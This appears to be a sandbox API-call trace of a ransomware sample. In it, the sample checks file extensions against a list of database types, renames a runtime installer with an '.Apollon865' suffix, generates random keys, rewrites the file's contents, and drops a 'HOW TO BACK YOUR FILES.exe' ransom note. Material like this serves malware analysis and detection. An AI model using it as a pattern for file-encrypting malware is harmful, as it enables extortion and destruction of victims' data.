	[0073.221] lstrcmpiW (lpString1="64.msi", lpString2="dacpac") returned -1
	[0073.221] lstrlenW (lpString="dad") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0073.221] lstrlenW (lpString="dadiagrams") returned 10
	[0073.221] lstrcmpiW (lpString1="al_x64.msi", lpString2="dadiagrams") returned -1
	[0073.221] lstrlenW (lpString="daschema") returned 8
	[0073.221] lstrcmpiW (lpString1="_x64.msi", lpString2="daschema") returned -1
	[0073.221] lstrlenW (lpString="db-journal") returned 10
	[0073.221] lstrcmpiW (lpString1="al_x64.msi", lpString2="db-journal") returned -1
	[0073.221] lstrlenW (lpString="db-shm") returned 6
	[0073.221] lstrcmpiW (lpString1="64.msi", lpString2="db-shm") returned -1
	[0073.221] lstrlenW (lpString="db-wal") returned 6
	[0073.221] lstrcmpiW (lpString1="64.msi", lpString2="db-wal") returned -1
	[0073.221] lstrlenW (lpString="dbc") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0073.221] lstrlenW (lpString="dbs") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0073.221] lstrlenW (lpString="dbt") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0073.221] lstrlenW (lpString="dbv") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0073.221] lstrlenW (lpString="dbx") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0073.221] lstrlenW (lpString="dcb") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0073.221] lstrlenW (lpString="dct") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0073.221] lstrlenW (lpString="dcx") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0073.221] lstrlenW (lpString="ddl") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0073.221] lstrlenW (lpString="dlis") returned 4
	[0073.221] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0073.221] lstrlenW (lpString="dp1") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0073.222] lstrlenW (lpString="dqy") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0073.222] lstrlenW (lpString="dsk") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0073.222] lstrlenW (lpString="dsn") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0073.222] lstrlenW (lpString="dtsx") returned 4
	[0073.222] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0073.222] lstrlenW (lpString="dxl") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0073.222] lstrlenW (lpString="eco") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0073.222] lstrlenW (lpString="ecx") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0073.222] lstrlenW (lpString="edb") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0073.222] lstrlenW (lpString="epim") returned 4
	[0073.222] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0073.222] lstrlenW (lpString="fcd") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0073.222] lstrlenW (lpString="fdb") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0073.222] lstrlenW (lpString="fic") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0073.222] lstrlenW (lpString="flexolibrary") returned 12
	[0073.222] lstrcmpiW (lpString1="onal_x64.msi", lpString2="flexolibrary") returned 1
	[0073.222] lstrlenW (lpString="fm5") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0073.222] lstrlenW (lpString="fmp") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0073.222] lstrlenW (lpString="fmp12") returned 5
	[0073.222] lstrcmpiW (lpString1="4.msi", lpString2="fmp12") returned -1
	[0073.222] lstrlenW (lpString="fmpsl") returned 5
	[0073.222] lstrcmpiW (lpString1="4.msi", lpString2="fmpsl") returned -1
	[0073.222] lstrlenW (lpString="fol") returned 3
	[0073.222] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0073.222] lstrlenW (lpString="fp3") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0073.223] lstrlenW (lpString="fp4") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0073.223] lstrlenW (lpString="fp5") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0073.223] lstrlenW (lpString="fp7") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0073.223] lstrlenW (lpString="fpt") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0073.223] lstrlenW (lpString="frm") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0073.223] lstrlenW (lpString="gdb") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0073.223] lstrlenW (lpString="gdb") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0073.223] lstrlenW (lpString="grdb") returned 4
	[0073.223] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0073.223] lstrlenW (lpString="gwi") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0073.223] lstrlenW (lpString="hdb") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0073.223] lstrlenW (lpString="his") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0073.223] lstrlenW (lpString="ib") returned 2
	[0073.223] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0073.223] lstrlenW (lpString="idb") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0073.223] lstrlenW (lpString="ihx") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0073.223] lstrlenW (lpString="itdb") returned 4
	[0073.223] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0073.223] lstrlenW (lpString="itw") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0073.223] lstrlenW (lpString="jet") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0073.223] lstrlenW (lpString="jtx") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0073.223] lstrlenW (lpString="kdb") returned 3
	[0073.223] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0073.224] lstrlenW (lpString="kexi") returned 4
	[0073.224] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0073.224] lstrlenW (lpString="kexic") returned 5
	[0073.224] lstrcmpiW (lpString1="4.msi", lpString2="kexic") returned -1
	[0073.224] lstrlenW (lpString="kexis") returned 5
	[0073.224] lstrcmpiW (lpString1="4.msi", lpString2="kexis") returned -1
	[0073.224] lstrlenW (lpString="lgc") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0073.224] lstrlenW (lpString="lwx") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0073.224] lstrlenW (lpString="maf") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0073.224] lstrlenW (lpString="maq") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0073.224] lstrlenW (lpString="mar") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0073.224] lstrlenW (lpString="marshal") returned 7
	[0073.224] lstrcmpiW (lpString1="x64.msi", lpString2="marshal") returned 1
	[0073.224] lstrlenW (lpString="mas") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0073.224] lstrlenW (lpString="mav") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0073.224] lstrlenW (lpString="maw") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0073.224] lstrlenW (lpString="mdbhtml") returned 7
	[0073.224] lstrcmpiW (lpString1="x64.msi", lpString2="mdbhtml") returned 1
	[0073.224] lstrlenW (lpString="mdn") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0073.224] lstrlenW (lpString="mdt") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0073.224] lstrlenW (lpString="mfd") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0073.224] lstrlenW (lpString="mpd") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0073.224] lstrlenW (lpString="mrg") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0073.224] lstrlenW (lpString="mud") returned 3
	[0073.224] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0073.225] lstrlenW (lpString="mwb") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0073.225] lstrlenW (lpString="myd") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0073.225] lstrlenW (lpString="ndf") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0073.225] lstrlenW (lpString="nnt") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0073.225] lstrlenW (lpString="nrmlib") returned 6
	[0073.225] lstrcmpiW (lpString1="64.msi", lpString2="nrmlib") returned -1
	[0073.225] lstrlenW (lpString="ns2") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0073.225] lstrlenW (lpString="ns3") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0073.225] lstrlenW (lpString="ns4") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0073.225] lstrlenW (lpString="nsf") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0073.225] lstrlenW (lpString="nv") returned 2
	[0073.225] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0073.225] lstrlenW (lpString="nv2") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0073.225] lstrlenW (lpString="nwdb") returned 4
	[0073.225] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0073.225] lstrlenW (lpString="nyf") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0073.225] lstrlenW (lpString="odb") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0073.225] lstrlenW (lpString="odb") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0073.225] lstrlenW (lpString="oqy") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0073.225] lstrlenW (lpString="ora") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0073.225] lstrlenW (lpString="orx") returned 3
	[0073.225] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0073.226] lstrlenW (lpString="owc") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0073.226] lstrlenW (lpString="p96") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0073.226] lstrlenW (lpString="p97") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0073.226] lstrlenW (lpString="pan") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0073.226] lstrlenW (lpString="pdb") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0073.226] lstrlenW (lpString="pdm") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0073.226] lstrlenW (lpString="pnz") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0073.226] lstrlenW (lpString="qry") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0073.226] lstrlenW (lpString="qvd") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0073.226] lstrlenW (lpString="rbf") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0073.226] lstrlenW (lpString="rctd") returned 4
	[0073.226] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0073.226] lstrlenW (lpString="rod") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0073.226] lstrlenW (lpString="rodx") returned 4
	[0073.226] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0073.226] lstrlenW (lpString="rpd") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0073.226] lstrlenW (lpString="rsd") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0073.226] lstrlenW (lpString="sas7bdat") returned 8
	[0073.226] lstrcmpiW (lpString1="_x64.msi", lpString2="sas7bdat") returned -1
	[0073.226] lstrlenW (lpString="sbf") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0073.226] lstrlenW (lpString="scx") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0073.226] lstrlenW (lpString="sdb") returned 3
	[0073.226] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0073.227] lstrlenW (lpString="sdc") returned 3
	[0073.227] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0073.227] lstrlenW (lpString="sdf") returned 3
	[0073.227] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0073.227] lstrlenW (lpString="sis") returned 3
	[0073.227] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0073.227] lstrlenW (lpString="spq") returned 3
	[0073.227] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0073.227] lstrlenW (lpString="te") returned 2
	[0073.227] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0073.227] lstrlenW (lpString="teacher") returned 7
	[0073.227] lstrcmpiW (lpString1="x64.msi", lpString2="teacher") returned 1
	[0073.235] lstrlenW (lpString="tmd") returned 3
	[0073.235] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0073.235] lstrlenW (lpString="tps") returned 3
	[0073.235] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0073.235] lstrlenW (lpString="trc") returned 3
	[0073.235] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0073.235] lstrlenW (lpString="trc") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0073.236] lstrlenW (lpString="trm") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0073.236] lstrlenW (lpString="udb") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0073.236] lstrlenW (lpString="udl") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0073.236] lstrlenW (lpString="usr") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0073.236] lstrlenW (lpString="v12") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0073.236] lstrlenW (lpString="vis") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0073.236] lstrlenW (lpString="vpd") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0073.236] lstrlenW (lpString="vvv") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0073.236] lstrlenW (lpString="wdb") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0073.236] lstrlenW (lpString="wmdb") returned 4
	[0073.236] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0073.236] lstrlenW (lpString="wrk") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0073.236] lstrlenW (lpString="xdb") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0073.236] lstrlenW (lpString="xld") returned 3
	[0073.236] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0073.236] lstrlenW (lpString="xmlff") returned 5
	[0073.236] lstrcmpiW (lpString1="4.msi", lpString2="xmlff") returned -1
	[0073.236] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.Apollon865") returned 157
	[0073.236] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.apollon865"), dwFlags=0x1) returned 1
	[0073.244] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0073.244] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=151552) returned 1
	[0073.244] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.245] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.245] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0073.245] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0073.246] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0073.246] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0073.246] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25300, lpName=0x0) returned 0x15c
	[0073.248] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25300) returned 0x120000
	[0073.451] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0073.453] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0073.453] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.458] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0073.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0073.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.464] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0073.471] CloseHandle (hObject=0x15c) returned 1
	[0073.471] CloseHandle (hObject=0x100) returned 1
	[0073.472] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0073.472] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0073.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0073.485] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0073.490] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0073.490] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ad0
	[0073.490] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0073.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0073.499] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0073.499] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 71
	[0073.500] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0073.504] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.505] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0073.524] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0073.530] GetLastError () returned 0x0
	[0073.533] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0073.536] ReadFile (in: hFile=0x100, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0073.536] CloseHandle (hObject=0x100) returned 1
	[0073.541] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0073.542] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.543] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.556] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.556] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.586] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0073.586] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.586] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.586] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0073.586] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0073.586] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0073.586] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6129b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0073.586] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
